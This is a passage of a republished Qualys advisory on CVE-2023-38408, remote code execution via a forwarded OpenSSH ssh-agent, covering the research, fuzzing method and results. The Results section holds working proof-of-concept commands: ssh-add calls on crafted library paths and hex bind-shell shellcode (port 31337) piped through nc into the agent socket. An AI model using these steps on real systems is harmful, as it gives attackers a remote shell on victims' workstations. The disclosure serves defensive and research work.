{"id":45360,"date":"2023-07-20T20:59:30","date_gmt":"2023-07-20T16:59:30","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/173661\/QSA-OpenSSH.txt"},"modified":"2023-07-22T11:41:03","modified_gmt":"2023-07-22T07:11:03","slug":"openssh-forwarded-ssh-agent-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/openssh-forwarded-ssh-agent-remote-code-execution\/","title":{"rendered":"OpenSSH Forwarded SSH-Agent Remote Code Execution"},"content":{"rendered":"<p>Qualys Security Advisory<\/p>\n<p>CVE-2023-38408: Remote Code Execution in OpenSSH&#8217;s forwarded ssh-agent<\/p>\n<p>========================================================================<br \/>\nContents<br \/>\n========================================================================<\/p>\n<p>Summary<br \/>\nBackground<br \/>\nExperiments<br \/>\nResults<br \/>\nDiscussion<br \/>\nAcknowledgments<br \/>\nTimeline<\/p>\n<p>========================================================================<br \/>\nSummary<br \/>\n========================================================================<\/p>\n<p>&#8220;ssh-agent is a program to hold private keys used for public key<br \/>\nauthentication. Through use of environment variables the agent can<br \/>\nbe located and automatically used for authentication when logging in<br \/>\nto other machines using ssh(1). &#8230; Connections to ssh-agent may be<br \/>\nforwarded from further remote hosts using the -A option to ssh(1)<br \/>\n(but see the caveats documented therein), avoiding the need for<br \/>\nauthentication data to be stored on other machines.&#8221;<br \/>\n(https:\/\/man.openbsd.org\/ssh-agent.1)<\/p>\n<p>&#8220;Agent forwarding should be enabled with caution. Users with the<br \/>\nability to bypass file permissions on the remote host &#8230; can access<br \/>\nthe local agent through the forwarded connection. &#8230; A safer<br \/>\nalternative may be to use a jump host (see -J).&#8221;<br \/>\n(https:\/\/man.openbsd.org\/ssh.1)<\/p>\n<p>Despite this warning, ssh-agent forwarding is still widely used today.<br \/>\nTypically, a system administrator (Alice) runs ssh-agent on her local<br \/>\nworkstation, connects to a remote server with ssh, and enables ssh-agent<br \/>\nforwarding with the -A or ForwardAgent option, thus making her ssh-agent<br \/>\n(which is running on her local workstation) reachable from the remote<br \/>\nserver.<\/p>\n<p>While browsing through ssh-agent&#8217;s source code, we noticed that a remote<br \/>\nattacker, who has access to the remote server where Alice&#8217;s ssh-agent is<br \/>\nforwarded to, can load (dlopen()) and immediately unload (dlclose()) any<br \/>\nshared library in \/usr\/lib* on Alice&#8217;s workstation (via her forwarded<br \/>\nssh-agent, if it is compiled with ENABLE_PKCS11, which is the default).<\/p>\n<p>(Note to the curious readers: for security reasons, and as explained in<br \/>\nthe &#8220;Background&#8221; section below, ssh-agent does not actually load such a<br \/>\nshared library in its own address space (where private keys are stored),<br \/>\nbut in a separate, dedicated process, ssh-pkcs11-helper.)<\/p>\n<p>Although this seems safe at first (because every shared library in<br \/>\n\/usr\/lib* comes from an official distribution package, and no operation<br \/>\nbesides dlopen() and dlclose() is generally performed by ssh-agent on a<br \/>\nshared library), many shared libraries have unfortunate side effects<br \/>\nwhen dlopen()ed and dlclose()d, and are therefore unsafe to be loaded<br \/>\nand unloaded in a security-sensitive program such as ssh-agent. For<br \/>\nexample, many shared libraries have constructor and destructor functions<br \/>\nthat are automatically executed by dlopen() and dlclose(), respectively.<\/p>\n<p>Surprisingly, by chaining four common side effects of shared libraries<br \/>\nfrom official distribution packages, we were able to transform this very<br \/>\nlimited primitive (the dlopen() and dlclose() of shared libraries from<br \/>\n\/usr\/lib*) into a reliable, one-shot remote code execution in ssh-agent<br \/>\n(despite ASLR, PIE, and NX). Our best proofs of concept so far exploit<br \/>\ndefault installations of Ubuntu Desktop plus three extra packages from<br \/>\nUbuntu&#8217;s &#8220;universe&#8221; repository. We believe that even better results can<br \/>\nbe achieved (i.e., some operating systems might be exploitable in their<br \/>\ndefault installation):<\/p>\n<p>&#8211; we only investigated Ubuntu Desktop 22.04 and 21.10, we have not<br \/>\nlooked into any other versions, distributions, or operating systems;<\/p>\n<p>&#8211; the &#8220;fuzzer&#8221; that we wrote to test our ideas is rudimentary and slow,<br \/>\nand we ran it intermittently on a single laptop, so we have not tried<br \/>\nall the combinations of shared libraries and side effects;<\/p>\n<p>&#8211; we initially had only one attack vector in mind (i.e., one specific<br \/>\ncombination of side effects from shared libraries), but we discovered<br \/>\nsix more while analyzing the results of our fuzzer, and we are<br \/>\nconvinced that more attack vectors exist.<\/p>\n<p>In this advisory, we present our research, experiments, reproducible<br \/>\nresults, and further ideas to exploit this &#8220;dlopen() then dlclose()&#8221;<br \/>\nprimitive. We will also publish the source code of our crude fuzzer at<br \/>\nhttps:\/\/www.qualys.com\/research\/security-advisories\/ (warning: this code<br \/>\nmight hurt the eyes of experienced fuzzing practitioners, but it gave us<br \/>\nquick answers to our many questions; it is provided &#8220;as is&#8221;, in the hope<br \/>\nthat it will be useful).<\/p>\n<p>========================================================================<br \/>\nBackground<br \/>\n========================================================================<\/p>\n<p>The ability to load and unload shared libraries in ssh-agent was<br \/>\ndeveloped in 2010 to support the addition and deletion of PKCS#11 keys:<br \/>\nssh-agent forks and executes a long-running ssh-pkcs11-helper process<br \/>\nthat dlopen()s PKCS#11 providers (shared libraries), and immediately<br \/>\ndlclose()s them if the symbol C_GetFunctionList cannot be found (i.e.,<br \/>\nif such a shared library is not actually a PKCS#11 provider, which is<br \/>\nthe case for the vast majority of the shared libraries in \/usr\/lib*).<\/p>\n<p>Note: ssh-agent also supports the addition of FIDO keys, by loading a<br \/>\nFIDO authenticator (a shared library) in a short-lived ssh-sk-helper<br \/>\nprocess; however, unlike ssh-pkcs11-helper, ssh-sk-helper is stateless<br \/>\n(it terminates shortly after loading a single shared library) and can<br \/>\ntherefore not be abused by an attacker to chain the side effects of<br \/>\nseveral shared libraries.<\/p>\n<p>Originally, the path of a shared library to be loaded in<br \/>\nssh-pkcs11-helper was not filtered at all by ssh-agent, but in 2016 an<br \/>\nallow-list was added (&#8220;\/usr\/lib*\/*,\/usr\/local\/lib*\/*&#8221; by default) in<br \/>\nresponse to CVE-2016-10009, which was published by Jann Horn (at<br \/>\nhttps:\/\/bugs.chromium.org\/p\/project-zero\/issues\/detail?id=1009):<\/p>\n<p>&#8211; if an attacker had access to the server where Alice&#8217;s ssh-agent is<br \/>\nforwarded to, and had an unprivileged access to Alice&#8217;s workstation,<br \/>\nthen this attacker could store a malicious shared library in \/tmp on<br \/>\nAlice&#8217;s workstation and execute it with Alice&#8217;s privileges (via her<br \/>\nforwarded ssh-agent) &#8212; a mild form of Local Privilege Escalation;<\/p>\n<p>&#8211; if the attacker had only access to the server where Alice&#8217;s ssh-agent<br \/>\nis forwarded to, but could somehow store a malicious shared library<br \/>\nsomewhere on Alice&#8217;s workstation (without access to her workstation),<br \/>\nthen this attacker could remotely execute this shared library (via<br \/>\nAlice&#8217;s forwarded ssh-agent) &#8212; a mild form of Remote Code Execution.<\/p>\n<p>Our first reaction was of course to try to bypass ssh-agent&#8217;s \/usr\/lib*<br \/>\nallow-list:<\/p>\n<p>&#8211; by finding a logic bug in the filter function, match_pattern_list()<br \/>\n(but we failed);<\/p>\n<p>&#8211; by making a path-traversal attack, for example \/usr\/lib\/..\/..\/tmp (but<br \/>\nwe failed, because ssh-agent first calls realpath() to canonicalize<br \/>\nthe path of a shared library, and then calls the filter function);<\/p>\n<p>&#8211; by finding a locally or remotely writable file or directory in<br \/>\n\/usr\/lib* (but we failed).<\/p>\n<p>Our only option, then, is to abuse side effects of the existing shared<br \/>\nlibraries in \/usr\/lib*; in particular, their constructor and destructor<br \/>\nfunctions, which are automatically executed by dlopen() and dlclose().<br \/>\nEventually, we realized that this is essentially a remote version of<br \/>\nCVE-2010-3856, which was published in 2010 by Tavis Ormandy (at<br \/>\nhttps:\/\/seclists.org\/fulldisclosure\/2010\/Oct\/344):<\/p>\n<p>&#8211; an unprivileged local attacker could dlopen() any shared library from<br \/>\n\/lib and \/usr\/lib (via the LD_AUDIT environment variable), even when<br \/>\nexecuting a SUID-root program;<\/p>\n<p>&#8211; the constructor functions of various common shared libraries created<br \/>\nfiles and directories whose location depended on the attacker&#8217;s<br \/>\nenvironment variables and whose creation mode depended on the<br \/>\nattacker&#8217;s umask;<\/p>\n<p>&#8211; the local attacker could therefore create world-writable files and<br \/>\ndirectories anywhere in the filesystem, and obtain full root<br \/>\nprivileges (via crond, for example).<\/p>\n<p>Although the ability to load and unload shared libraries from \/usr\/lib*<br \/>\nin ssh-agent bears a striking resemblance to CVE-2010-3856, we are in a<br \/>\nmuch weaker position here, because we are trying to exploit ssh-agent<br \/>\nremotely, so we do not control its environment variables nor its umask<br \/>\n(and we do not even talk directly to ssh-pkcs11-helper, which actually<br \/>\ndlopen()s and dlclose()s the shared libraries: we talk to ssh-agent,<br \/>\nwhich canonicalizes and filters our requests before passing them on to<br \/>\nssh-pkcs11-helper).<\/p>\n<p>In fact, we do not control anything except the order in which we load<br \/>\n(and immediately unload) shared libraries from \/usr\/lib* in ssh-agent.<br \/>\nAt that point, we almost abandoned our research, because we could not<br \/>\npossibly imagine how to transform this extremely limited primitive into<br \/>\na one-shot remote code execution. Nevertheless, we felt curious and<br \/>\ndecided to syscall-trace (strace) a dlopen() and dlclose() of every<br \/>\nshared library in the default installation of Ubuntu Desktop. We<br \/>\ninstantly observed four surprising behaviors:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>1\/ Some shared libraries require an executable stack, either explicitly<br \/>\nbecause of an RWE (readable, writable, executable) GNU_STACK ELF header,<br \/>\nor implicitly because of a missing GNU_STACK ELF header (in which case<br \/>\nthe loader defaults to an executable stack): when such an &#8220;execstack&#8221;<br \/>\nlibrary is dlopen()ed, the loader makes the main stack and all thread<br \/>\nstacks executable, and they remain executable even after dlclose().<\/p>\n<p>For example, \/usr\/lib\/systemd\/boot\/efi\/linuxx64.elf.stub in the default<br \/>\ninstallation of Ubuntu Desktop 22.04.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>2\/ Many shared libraries are marked as &#8220;nodelete&#8221; by the loader, either<br \/>\nexplicitly because of a NODELETE ELF flag, or implicitly because they<br \/>\nare in the dependency list of a NODELETE library: the loader will never<br \/>\nunload (munmap()) such libraries, even after they are dlclose()d.<\/p>\n<p>For example, \/usr\/lib\/x86_64-linux-gnu\/librt.so.1 in the default<br \/>\ninstallation of Ubuntu Desktop 22.04 and 21.10.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3\/ Some shared libraries register a signal handler for SIGSEGV when they<br \/>\nare dlopen()ed, but they do not deregister this signal handler when they<br \/>\nare dlclose()d (i.e., this signal handler is still registered when its<br \/>\ncode is munmap()ed).<\/p>\n<p>For example, \/usr\/lib\/x86_64-linux-gnu\/libSegFault.so in the default<br \/>\ninstallation of Ubuntu Desktop 21.10.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>4\/ Some shared libraries crash with a SIGSEGV as soon as they are<br \/>\ndlopen()ed (usually because of a NULL-pointer dereference), because they<br \/>\nare supposed to be loaded in a specific context, not in a random program<br \/>\nsuch as ssh-agent.<\/p>\n<p>For example, most of the \/usr\/lib\/x86_64-linux-gnu\/xtables\/lib*.so in<br \/>\nthe default installation of Ubuntu Desktop 22.04 and 21.10.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>And so an exciting idea to remotely exploit ssh-agent came into our<br \/>\nmind:<\/p>\n<p>a\/ make ssh-agent&#8217;s stack executable (more precisely,<br \/>\nssh-pkcs11-helper&#8217;s stack) by dlopen()ing one of the &#8220;execstack&#8221;<br \/>\nlibraries (&#8220;surprising behavior 1\/&#8221;), and somehow store a 1990-style<br \/>\nshellcode somewhere in this executable stack;<\/p>\n<p>b\/ register a signal handler for SIGSEGV and immediately munmap() its<br \/>\ncode, by dlopen()ing and dlclose()ing one of the shared libraries from<br \/>\n&#8220;surprising behavior 3\/&#8221; (consequently, a dangling pointer to this<br \/>\nunmapped signal handler is retained in the kernel);<\/p>\n<p>c\/ replace the unmapped signal handler&#8217;s code with another piece of code<br \/>\nfrom another shared library, by dlopen()ing (mmap()ing) one of the<br \/>\n&#8220;nodelete&#8221; libraries (&#8220;surprising behavior 2\/&#8221;);<\/p>\n<p>d\/ raise a SIGSEGV by dlopen()ing one of the shared libraries from<br \/>\n&#8220;surprising behavior 4\/&#8221;, so that the unmapped signal handler is called<br \/>\nby the kernel, but the replacement code from the &#8220;nodelete&#8221; library is<br \/>\nexecuted instead (a use-after-free of sorts);<\/p>\n<p>e\/ hope that this replacement code (which is mapped where the signal<br \/>\nhandler was mapped) is a useful gadget that somehow jumps into the<br \/>\nexecutable stack, exactly where our shellcode is stored.<\/p>\n<p>========================================================================<br \/>\nExperiments<br \/>\n========================================================================<\/p>\n<p>But &#8220;hope is not a strategy&#8221;, so we decided to implement the following<br \/>\n6-step plan to test our remote-exploitation idea in ssh-agent:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Step 1 &#8211; We install a default Ubuntu Desktop, download all official<br \/>\npackages from Ubuntu&#8217;s &#8220;main&#8221; and &#8220;universe&#8221; repositories, and extract<br \/>\nall \/usr\/lib* files from these packages. These files occupy ~200GB of<br \/>\ndisk space and include ~60,000 shared libraries.<\/p>\n<p>Note: after the default installation of Ubuntu Desktop, but before the<br \/>\nextraction of all \/usr\/lib* files, we &#8220;chattr +i \/etc\/ld.so.cache&#8221; to<br \/>\nmake sure that this file does not grow unrealistically (from kilobytes<br \/>\nto megabytes); indeed, it is mmap()ed by the loader every time dlopen()<br \/>\nis called, and a large file might therefore destroy the mmap layout and<br \/>\nprevent our fuzzer&#8217;s results from being reproducible in the real world.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Step 2 &#8211; For each shared library in \/usr\/lib*, we fork and execute<br \/>\nssh-pkcs11-helper, strace it, and request it to dlopen() (and hence<br \/>\nimmediately dlclose()) this shared library; if we spot anything unusual<br \/>\nin the strace logs (a raised signal, a clone() call, etc) or outstanding<br \/>\ndifferences in \/proc\/pid\/maps or \/proc\/pid\/status between before and<br \/>\nafter dlopen() and dlclose(), then we mark this shared library as<br \/>\ninteresting.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Step 3 &#8211; We analyze the results of Step 2. For example, on Ubuntu<br \/>\nDesktop 22.04:<\/p>\n<p>&#8211; 58 shared libraries make the stack executable when dlopen()ed (and the<br \/>\nstack remains executable even after dlclose());<\/p>\n<p>&#8211; 16577 shared libraries permanently alter the mmap layout when<br \/>\ndlopen()ed (either because they are &#8220;nodelete&#8221; libraries, or because<br \/>\nthey allocate a thread stack or otherwise leak mmap()ed memory);<\/p>\n<p>&#8211; 9 shared libraries register a SIGSEGV handler when dlopen()ed (but do<br \/>\nnot deregister it when dlclose()d), and 238 shared libraries raise a<br \/>\nSIGSEGV when dlopen()ed;<\/p>\n<p>&#8211; 2 shared libraries register a SIGABRT handler when dlopen()ed, and 44<br \/>\nshared libraries raise a SIGABRT when dlopen()ed.<\/p>\n<p>On Ubuntu Desktop 21.10:<\/p>\n<p>&#8211; 30 shared libraries make the stack executable;<\/p>\n<p>&#8211; 16172 shared libraries permanently alter the mmap layout;<\/p>\n<p>&#8211; 9 shared libraries register a SIGSEGV handler, and 147 shared<br \/>\nlibraries raise a SIGSEGV;<\/p>\n<p>&#8211; 2 shared libraries register a SIGABRT handler, and 38 shared libraries<br \/>\nraise a SIGABRT;<\/p>\n<p>&#8211; 1 shared library registers a SIGBUS handler, and 11 shared libraries<br \/>\nraise a SIGBUS;<\/p>\n<p>&#8211; 1 shared library registers a SIGCHLD handler, and 61 shared libraries<br \/>\nraise a SIGCHLD;<\/p>\n<p>&#8211; 1 shared library registers a SIGILL handler, and 1 shared library<br \/>\nraises a SIGILL.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Step 4 &#8211; We implement a rudimentary fuzzing strategy, by forking and<br \/>\nexecuting ssh-pkcs11-helper in a loop, and by loading (and unloading)<br \/>\nrandom combinations of the interesting shared libraries from Step 3:<\/p>\n<p>a\/ we randomly load zero or more shared libraries that permanently alter<br \/>\nthe mmap layout, in the hope of creating holes in the mmap layout, thus<br \/>\npotentially shifting the replacement code (which will later replace the<br \/>\nsignal handler&#8217;s code) with page precision;<\/p>\n<p>b\/ we randomly load one shared library that registers a signal handler<br \/>\nbut does not deregister it when dlclose()d (i.e., when munmap()ed);<\/p>\n<p>c\/ we randomly load zero or more shared libraries that alter the mmap<br \/>\nlayout (again), thus replacing the unmapped signal handler&#8217;s code with<br \/>\nanother piece of code (a hopefully useful gadget) from another shared<br \/>\nlibrary (a &#8220;nodelete&#8221; library);<\/p>\n<p>d\/ we randomly load one shared library that raises the signal that is<br \/>\ncaught by the unmapped signal handler: the replacement code (gadget) is<br \/>\nexecuted instead, and if it jumps into the stack (a SEGV_ACCERR with a<br \/>\nRIP register that points to the stack, because we did not make the stack<br \/>\nexecutable in this Step 4), then we mark this particular combination of<br \/>\nshared libraries as interesting.<\/p>\n<p>Surprise: we actually get numerous jumps to the stack in this Step 4,<br \/>\nusually because the signal handler&#8217;s code is replaced by a &#8220;jmp REG&#8221;,<br \/>\n&#8220;call REG&#8221;, or &#8220;pop; pop; ret&#8221; gadget, and the &#8220;REG&#8221; or popped RIP<br \/>\nregister happens to point to the stack at the time of the jump.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Step 5 &#8211; We implement this extra step to test whether the interesting<br \/>\ncombinations of shared libraries from Step 4 actually jump into our<br \/>\nshellcode in the stack, or into uncontrolled data in the stack:<\/p>\n<p>a\/ we make the stack executable, by randomly loading one of the<br \/>\n&#8220;execstack&#8221; libraries from Step 3;<\/p>\n<p>b\/ we store ~10KB of 0xcc bytes in the stack buffer &#8220;buf&#8221; of<br \/>\nssh-pkcs11-helper&#8217;s main() function: 10KB is the maximum message length<br \/>\nthat we can send to ssh-pkcs11-helper (via ssh-agent), and on amd64 0xcc<br \/>\nis the &#8220;int3&#8221; instruction that generates a SIGTRAP when executed;<\/p>\n<p>c\/ we randomly replay one of the interesting combinations of shared<br \/>\nlibraries from Step 4: if a SIGTRAP is generated while the RIP register<br \/>\npoints to the stack, then there is a fair chance that ssh-pkcs11-helper<br \/>\njumped into our shellcode (our 0xcc bytes) in the executable stack.<\/p>\n<p>Surprise: we actually get many SIGTRAPs in the stack during this Step 5,<br \/>\nbut to our great dismay, most of these SIGTRAPs are generated because<br \/>\nssh-pkcs11-helper jumps into the stack, in the middle of a pointer that<br \/>\nis stored on the stack and that happens to contain a 0xcc byte because<br \/>\nof ASLR (i.e., not because ssh-pkcs11-helper jumps into our own 0xcc<br \/>\nbytes in the stack).<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Step 6 &#8211; We implement this extra step to eliminate the false positives<br \/>\nproduced by Step 5:<\/p>\n<p>a\/ we repeatedly replay (N times) each combination of shared libraries<br \/>\nthat generates a SIGTRAP in the stack: if N SIGTRAPs are generated out<br \/>\nof N replays, then there is an excellent chance that ssh-pkcs11-helper<br \/>\ndoes indeed jump into our shellcode (our 0xcc bytes) in the stack (and<br \/>\nnot into random bytes that happen to be 0xcc because of ASLR);<\/p>\n<p>b\/ if this is confirmed by a manual check (with gdb for example), then<br \/>\nwe achieved a reliable, one-shot remote code execution in ssh-agent,<br \/>\ndespite the very limited primitive, and despite ASLR, PIE, and NX.<\/p>\n<p>========================================================================<br \/>\nResults<br \/>\n========================================================================<\/p>\n<p>In this section, we present the results of our experiments:<\/p>\n<p>&#8211; Signal handler use-after-free (Ubuntu Desktop 22.04)<br \/>\n&#8211; Signal handler use-after-free (Ubuntu Desktop 21.10)<br \/>\n&#8211; Callback function use-after-free<br \/>\n&#8211; Return from syscall use-after-free<br \/>\n&#8211; Sigaltstack use-after-free<br \/>\n&#8211; Sigreturn to arbitrary instruction pointer<br \/>\n&#8211; _Unwind_Context type-confusion<br \/>\n&#8211; RCE in library constructor<\/p>\n<p>========================================================================<br \/>\nSignal handler use-after-free (Ubuntu Desktop 22.04)<br \/>\n========================================================================<\/p>\n<p>This was our original idea for remotely attacking ssh-agent, as<br \/>\ndiscussed at the end of the &#8220;Background&#8221; section and as implemented in<br \/>\nthe &#8220;Experiments&#8221; section. In this subsection, we present one of the<br \/>\nvarious combinations of shared libraries that result in a reliable,<br \/>\none-shot remote code execution in ssh-agent on Ubuntu Desktop 22.04.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>1a\/ On our local workstation, we install a default Ubuntu Desktop 22.04<br \/>\n(https:\/\/old-releases.ubuntu.com\/releases\/22.04\/ubuntu-22.04-desktop-amd64.iso),<br \/>\nwithout connecting this workstation to the Internet.<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>1b\/ After the installation is complete, we modify \/etc\/apt\/sources.list<br \/>\nto prevent any package from being upgraded to a version that is not the<br \/>\none that we used in our experiments:<\/p>\n<p>workstation# cp -i \/etc\/apt\/sources.list \/etc\/apt\/sources.list.backup<br \/>\nworkstation# grep &#8216; jammy &#8216; \/etc\/apt\/sources.list.backup &gt; \/etc\/apt\/sources.list<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>1c\/ We connect our workstation to the Internet, and install the three<br \/>\npackages (from Ubuntu&#8217;s official &#8220;universe&#8221; repository) that contain the<br \/>\nthree shared libraries used in this particular attack against ssh-agent:<\/p>\n<p>workstation# apt-get update<br \/>\nworkstation# apt-get upgrade<br \/>\nworkstation# apt-get &#8211;no-install-recommends install eclipse-titan<br \/>\nworkstation# apt-get &#8211;no-install-recommends install libkf5sonnetui5<br \/>\nworkstation# apt-get &#8211;no-install-recommends install libns3-3v5<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>2\/ As Alice, we run ssh-agent on our local workstation, connect to a<br \/>\nremote server with ssh, and enable ssh-agent forwarding with -A:<\/p>\n<p>workstation$ id<br \/>\nuid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)<\/p>\n<p>workstation$ eval `ssh-agent -s`<br \/>\nAgent pid 1105<\/p>\n<p>workstation$ echo \/tmp\/ssh-*\/agent.*<br \/>\n\/tmp\/ssh-XXXXXXmgHTo9\/agent.1104<\/p>\n<p>workstation$ ssh -A server<\/p>\n<p>server$ id<br \/>\nuid=1001(alice) gid=1001(alice) groups=1001(alice)<\/p>\n<p>server$ echo \/tmp\/ssh-*\/agent.*<br \/>\n\/tmp\/ssh-N5EjHljGRh\/agent.1299<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3\/ Then, as a remote attacker who has access to this server:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3a\/ we remotely make ssh-agent&#8217;s stack executable (more precisely,<br \/>\nssh-pkcs11-helper&#8217;s stack), via Alice&#8217;s ssh-agent forwarding (indeed,<br \/>\nthe ssh-agent itself is running on Alice&#8217;s workstation, not on the<br \/>\nserver):<\/p>\n<p>server# echo \/tmp\/ssh-*\/agent.*<br \/>\n\/tmp\/ssh-N5EjHljGRh\/agent.1299<\/p>\n<p>server# export SSH_AUTH_SOCK=\/tmp\/ssh-N5EjHljGRh\/agent.1299<\/p>\n<p>server# ssh-add -s \/usr\/lib\/systemd\/boot\/efi\/linuxx64.elf.stub<br \/>\nEnter passphrase for PKCS#11: whatever<br \/>\nCould not add card &#8220;\/usr\/lib\/systemd\/boot\/efi\/linuxx64.elf.stub&#8221;: agent refused operation<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>3b\/ we remotely store a shellcode in the stack buffer &#8220;buf&#8221; of<br \/>\nssh-pkcs11-helper&#8217;s main() function:<\/p>\n<p>server# SHELLCODE=$&#8217;\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x6a\\x06\\x5a\\x6a\\x29\\x58\\x0f\\x05\\x49\\x89\\xc0\\x4d\\x31\\xd2\\x41\\x52\\x41\\x52\\xc6\\x04\\x24\\x02\\x66\\xc7\\x44\\x24\\x02\\x7a\\x69\\x48\\x89\\xe6\\x41\\x50\\x5f\\x6a\\x10\\x5a\\x6a\\x31\\x58\\x0f\\x05\\x41\\x50\\x5f\\x6a\\x01\\x5e\\x6a\\x32\\x58\\x0f\\x05\\x48\\x89\\xe6\\x48\\x31\\xc9\\xb1\\x10\\x51\\x48\\x89\\xe2\\x41\\x50\\x5f\\x6a\\x2b\\x58\\x0f\\x05\\x59\\x4d\\x31\\xc9\\x49\\x89\\xc1\\x4c\\x89\\xcf\\x48\\x31\\xf6\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75\\xf6\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05&#8217;<\/p>\n<p>server# (perl -e &#8216;print &#8220;\\0\\0\\x27\\xbf\\x14\\0\\0\\0\\x10\/usr\/lib\/modules\\0\\0\\x27\\xa6&#8221; . &#8220;\\x90&#8221; x 10000&#8217;; echo -n &#8220;$SHELLCODE&#8221;) | nc -U &#8220;$SSH_AUTH_SOCK&#8221;<br \/>\n[Press Ctrl-C after a few seconds.]\n<p>&#8211; we do not use ssh-add here, because we want to send a ~10KB passphrase<br \/>\n(our shellcode) to ssh-agent, but ssh-add limits the length of our<br \/>\npassphrase to 1KB;<\/p>\n<p>&#8211; &#8220;\\x90&#8221; x 10000 is a ~10KB &#8220;NOP sled&#8221; (on amd64, 0x90 is the &#8220;nop&#8221;<br \/>\ninstruction);<\/p>\n<p>&#8211; SHELLCODE is a &#8220;TCP bind shell&#8221; on port 31337 (from<br \/>\nhttps:\/\/shell-storm.org\/shellcode\/files\/shellcode-858.html);<\/p>\n<p>&#8211; \/usr\/lib\/modules is an existing directory whose path matches<br \/>\nssh-agent&#8217;s 